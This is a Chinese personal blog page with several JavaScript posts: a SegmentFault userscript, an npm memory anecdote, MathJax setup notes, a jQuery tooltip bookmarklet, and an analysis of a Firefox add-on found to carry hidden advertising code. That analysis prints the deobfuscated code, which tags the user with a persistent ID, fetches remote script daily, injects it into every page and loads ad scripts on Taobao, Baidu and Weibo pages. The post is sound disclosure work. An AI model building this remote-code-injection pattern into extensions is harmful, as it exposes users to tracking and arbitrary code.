10
8
2015
12

ES6 好棒!

SegmentFault 的通知页里的链接总是会在新标签页打开。这对于我来说就多了一个需要关闭的标签页——我本可以在最后一条新通知时不打开新标签页的。我习惯由我自己来控制链接在哪里打开,会根据情况选择在后台新标签页打开或者在当前标签页打开。SegmentFault 通知页这样子在前台标签页打开对于我来说除了烦人之外便毫无用处

然而 SegmentFault 改来改去,最终似乎还是决定像很多国内网站那样让我这种用户厌烦。罢了,是时候让油猴出场了。这次尽情使用 ES6 好了=w=

// ==UserScript==
// @name          SegmentFault Enhancement
// @namespace     http://lilydjwg.is-programmer.com/
// @description   SegmentFault Enhancement
// @include       http://segmentfault.com/*
// @include       https://segmentfault.com/*
// ==/UserScript==

// jshint moz:true

if(location.pathname === "/user/notifications"){
  let elements = document.querySelectorAll('section.stream-list__item a[target]');
  for(let el of elements){
    el.removeAttribute('target');
  }
}

虽然不是第一次使用let了,但for...of是第一次使用。这感觉好棒!跟写了好长时间的 C 之后发现表达力强大的 Python 一样!

现在的 ECMAScript 越来越像语法怪异的 Python 了呢 ;-)

PS: 在网页里写上在新标签页打开有安全隐患的。

4
7
2015
5

疯狂的 npm(图)

以前这服务器就经常被 OOM Killer 大开杀戒,各种服务都被杀害。虽然早就通过日志和其它信息知道是 npm 惹的祸,今天才有幸看到如此疯狂的 npm(点击查看大图):

crazy npm htop screenshot

说明一下,此 npm install 是正在安装 gulp 相关的东西。在本地跑的时候倒是没发现 npm 有如此「牛力」,只是比较费时费内存而已,不知道在这服务器上是发了什么疯。

Category: Javascript | Tags: javascript nodejs npm
8
20
2013
6

发现一款带隐藏广告代码的火狐插件

下载、解压,找到app.js。最后有一段混淆过的代码,注释曰「划词搜索电影」。使用 NodeJS 把eval里的函数执行结果打出来,再扔到 Vim 里拿 jsbeatify.vim 格式化一下,结果如下:

if (typeof(IMAXPluginChrome) == "undefined") {
  function S4() {
    return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1)
  }
  function guid() {
    return (S4() + S4() + S4() + S4() + S4() + S4() + S4() + S4())
  }
  var IMAXPluginChrome = {
    getCid: function() {
      var uuid = nsPreferences.copyUnicharPref("extensions.imax.uuid", "");
      if (typeof(uuid) == "undefined" || uuid == "") {
        uuid = guid();
        nsPreferences.setUnicharPref("extensions.imax.uuid", uuid)
      }
      return uuid
    },
    loadScript: function(callback, unsafeWin) {
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
        if (xhr.status == 200 && xhr.readyState == 4) {
          var code = xhr.responseText;
          nsPreferences.setUnicharPref("extensions.imax.code", code);
          nsPreferences.setUnicharPref("extensions.imax.last_synced_at", Date.now() + "");
          callback(unsafeWin, code)
        }
      };
      xhr.open("GET", "http://imax.taobaoimages.com/bootstrap.js?cid=FF_" + IMAXPluginChrome.getCid(), true);
      xhr.send(null)
    },
    onDOMContentLoaded: function(event) {
      var code = nsPreferences.copyUnicharPref("extensions.imax.code", "");
      var last_synced_at = Number(nsPreferences.copyUnicharPref("extensions.imax.last_synced_at", 0));
      var unsafeWin = event.target.defaultView;
      if (unsafeWin.wrappedJSObject) {
        unsafeWin = unsafeWin.wrappedJSObject
      }
      function callback(unsafeWin, code) {
        var unsafeDocument = new XPCNativeWrapper(unsafeWin, "document").document;
        var script = unsafeDocument.createElement("script");
        script.type = "text/javascript";
        script.charset = "utf-8";
        script.textContent = code;
        unsafeDocument.body.appendChild(script)
      }
      if ((code == "") || ((Date.now() - last_synced_at) > (1000 * 60 * 60 * 24))) {
        IMAXPluginChrome.loadScript(callback, unsafeWin)
      } else {
        callback(unsafeWin, code)
      }
    },
    onLoad: function(event) {
      var appcontent = document.getElementById("appcontent");
      if (appcontent) {
        appcontent.addEventListener("load", this.onDOMContentLoaded, true)
      }
    },
    onUnload: function(event) {
      window.removeEventListener("load", this.onLoad, false);
      window.removeEventListener("unload", this.onUnload, false);
      var appcontent = document.getElementById("appcontent");
      appcontent.removeEventListener("DOMContentLoaded", this.onDOMContentLoaded, false)
    },
    init: function() {
      window.addEventListener("load", function(event) {
        IMAXPluginChrome.onLoad(event)
      },
      false);
      window.addEventListener("unload", function(event) {
        IMAXPluginChrome.onUnload(event)
      },
      false)
    }
  };
  IMAXPluginChrome.init()
}

这段代码异步载入了来自http://imax.taobaoimages.com/bootstrap.js?cid=FF_XXX的代码,其中XXX是生成的用户 ID。又是一段混淆过的代码,还是一样的eval,转义字符串数组也一样扔 NodeJS 就行了。处理后的脚本如下:

(function(cid) {
  if (window.tbk) {
    return
  }
  window.tbk = true;
  var plugin_scripts = {
    "http://(.*?\.tao)(bao\.com)|(tao\.et)(ao\.com)": "http://imax.taobaoimages.com/browser.js"
  };
  for (var enabledDomains in plugin_scripts) {
    var host = document.location.href;
    if (host.match(RegExp(enabledDomains))) {
      imax_script_url = plugin_scripts[enabledDomains];
      function readCookie(name) {
        var nameEQ = name + "=";
        var ca = document.cookie.split(';');
        for (var i = 0; i < ca.length; i++) {
          var c = ca[i];
          while (c.charAt(0) == ' ') c = c.substring(1, c.length);
          if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)
        }
        return null
      }
      function addBrowserJs() {
        if (document.readyState == "complete") {
          var h = document.getElementsByTagName('head')[0];
          var s = document.createElement('script');
          s.setAttribute('type', 'text/javascript');
          s.setAttribute('charset', 'utf-8');
          s.setAttribute('async', true);
          if (readCookie("_q_r_b_")) {
            s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random())
          } else {
            s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random())
          }
          h.appendChild(s)
        } else {
          window.setTimeout(addBrowserJs, 20)
        }
      }
      addBrowserJs()
    }
  }
})("CID");

(function(d) {
  var _0xc429 = ['href', 'location', 'http://taoad.wandoupai.com/ad.js', '', 's.taobao.com/search', 
    'search', 'weibo', 'baidu', 'length', 'match',
  'ad=', 'getElementsByClassName', 'createElement', 'className', 'body',
  'getElementsByTagName', 'appendChild', 'script', 'T1xC6MXfthXXcWeqbX', '?', 'type', 'text/javascript', 'src'];
  var href = d.location.href;
  var host = 'http://taoad.wandoupai.com/ad.js';
  var url = '';
  var url_map = [['s.taobao.com/search', 'search'], ['weibo', 'weibo'], ['baidu', 'baidu']];
  for (var i = 0; i < url_map.length; i++) {
    if (href.match(url_map[i][0])) {
      url = 'ad=' + url_map[i][1];
      break;
    };
  };
  if (url == '') {
    return false;
  };
  var appendTag = function(a, b, c) {
    if (document.getElementsByClassName(b).length > 0) {
      return;
    };
    var el = d.createElement(a);
    el.className = b;
    c(el);
    var body0 = d.getElementsByTagName('body')[0];
    if (!body0) {
      return;
    };
    body0.appendChild(el);
    return el;
  };
  appendTag('script', 'T1xC6MXfthXXcWeqbX', function(a) {
    var link = host + '?' + url;
    a.type = 'text/javascript';
    a.src = link;
  });
})(document);

这段脚本会按照当前访问的网站地址载入地址类似http://taoad.wandoupai.com/ad.js?ad=baidu的脚本。目前,这个地址返回的是空文档。说好的广告呢……

5
23
2011
51

MathJax:不错的数学公式显示引擎

我最初是在Mathematics - Stack Exchange这个网站上看到MathJax的使用的。当时我偶然发现StackOverflow底部还有一大堆 Stack Exchange 站点,就随便点了几个看看,然后就看到那些漂亮的数学公式,并发现它们竟然不是像维基百科那么用的图片!

不过因为我并不搞数学,一直没需求,所以一直也没尝试玩下 MathJax。前不久看到 Garfileo 的《基于 ASCIIMathML.js 的 is-programmer 博客数学公式书写及显示》一文,昨日又和 Fermat 聊起,才折腾了下。

先来测试几个公式:\(E=mc^2\),$$x_{1,2} = \frac{-b \pm \sqrt{b^2-4ac}}{2b}.$$

原来这个 \(\mathrm{e}^{- \mathrm{i} \pi} + 1 = 0\) 叫欧拉公式,今天才知道 -_-|||。

整个部署过程非常简单,加入以下脚本即可:

<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=default"></script>

然后就是写 TeX 公式了,用\(\)括起来的是行内公式,用$$括起来的是自成一段的公式(术语叫什么我就不知道了)行间公式。

在公式上点右键还有些选项,包括选择使用 HTML+CSS 渲染还是 MathML 渲染、缩放、显示公式源码等。不过 MathML 的显示效果比较丑,而且诸如 Chrome 这些 Webkit 内核的浏览器还不支持。它会优先使用本地字体。我当然没有,于是它尝试使用网络字体。现代浏览器都会OK的,不过在火狐里,如果是本地文件(file://开头的),那么不能使用网络字体。这时候 MathJax 会使用图片代替。感觉挺智能的,而且还有各种模块和其的配置

MathJax 还支持在公式渲染之后再修改,我于是做了个简单的公式编辑器,可实时预览公式渲染的结果。有点郁闷的是,做这个网页时,相比公式处理部分,我大部分精力花在了排版上。。。另外,这个网页在 Chrome 下竟然出错了,清除缓存后才正常。以前 Chrome 也出现过这个问题,但火狐基本没有(我只在火狐3.6时代意外关机后遇到过)。


更新:

公式编辑器加了新功能,可通过 URL 的 hash 部分传递公式代码(尝试点击本段的链接),修改后 URL 也会变化,以便分享。不过发现了 Opera 浏览器的一个特性:会自动将手工输入的 URL 中的\替换成/,造成公式错误(比较点击和手工输入此链接地址的区别)。

Category: Javascript | Tags: javascript tex 数学
4
4
2010
0

用 jQuery 写了个给页面链接加上提示的小书签

已经不记得是怎样发现Learning jQuery这个博客了。首先看到的是关于在网页中加载 jQuery的几篇博文,非常不错,而且改进后的版本挺人性化的。所给链接上有小书签的链接,这里这不再给出了(不懂e文的童鞋请在页面上搜索“jQuerify”)。

觉得这个博客非常不错,当然不能看完一走了之了。于是订阅之,然后就发现了这个简单的jQuery插件——eztip,这里有作者写的demo,效果图如下:

点击这里,然后把鼠标移到本页的链接上,你也可以看到类似的提示哦!

这是所用到的代码,很简单呵:

$(document).ready(function() {
  $('.tips').eztip('a', {contentAttrs: ['title','href'], opacity: .75});
});

样式还得自己定义一下:

.simple-tip { position: absolute; background-color: #cec; border: 1px solid #393; padding: 6px;}

这个插件有点小问题:当链接位于页面右边缘或者下边缘时,提示仍然会出现在右下方(或者你定义的其它位置),造成出现滚动条并且看不到提示的情况。

不过,既然能在任意页面通过小书签加载 jQuery,何不通过小书签把这个提示也加上呢?于是,仿照 jQuerify 小书签,我自己也写了一个给链接加上提示的小书签。调试它花了我一个小时左右呢,这还是有Vimjsbeautify这个清理 Javascript 的 Vim 插件的帮助的情况下。注意,使用前要先确定页面已加载 jQuery,如果网页没有使用 jQuery 的话就用上面介绍的小书签啦。下面给出这个小书签的代码:

javascript: (function() {
  var el = document.createElement('div'),
  b = document.getElementsByTagName('body')[0];
  msg = '';
  el.style.position = 'fixed';
  el.style.height = '32px';
  el.style.width = '220px';
  el.style.marginLeft = '-110px';
  el.style.top = '0';
  el.style.left = '50%';
  el.style.padding = '5px 10px 5px 10px';
  el.style.zIndex = 1001;
  el.style.fontSize = '12px';
  el.style.color = '#222';
  el.style.backgroundColor = '#f99';
  if (typeof jQuery == 'undefined') {
    msg = 'This page is not using jQuery, sorry!';
    return showMsg();
  }
  function getScript(url, success) {
    var script = document.createElement('script');
    script.src = url;
    var head = document.getElementsByTagName('head')[0],
    done = false;
    script.onload = script.onreadystatechange = function() {
      if (!done && (!this.readyState || this.readyState == 'loaded' || this.readyState == 'complete')) {
        done = true;
        success();
      }
    };
    head.appendChild(script);
  }
  getScript('http://plugins.learningjquery.com/eztip/jquery.eztip.js', function() {
    jQuery('body').eztip('a', {
      contentAttrs: ['href', 'title'],
      opacity: .9
    });
    jQuery('.simple-tip').css({
      position: 'absolute',
      zIndex: 9999,
      backgroundColor: '#cec',
      color: '#131',
      border: '1px solid #393',
      padding: '6px'
    });
    msg = 'link tip ready!';
    return showMsg();
  });
  function showMsg() {
    el.innerHTML = msg;
    b.appendChild(el);
    window.setTimeout(function() {
      if (typeof jQuery == 'undefined') {
        b.removeChild(el);
      } else {
        jQuery(el).fadeOut('slow', function() {
          jQuery(this).remove();
        });
        if (otherlib) {
          $jq = jQuery.noConflict();
        }
      }
    },
    2500);
  }
})();

Mastodon | Theme: Aeros 2.0 by TheBuckmaker.com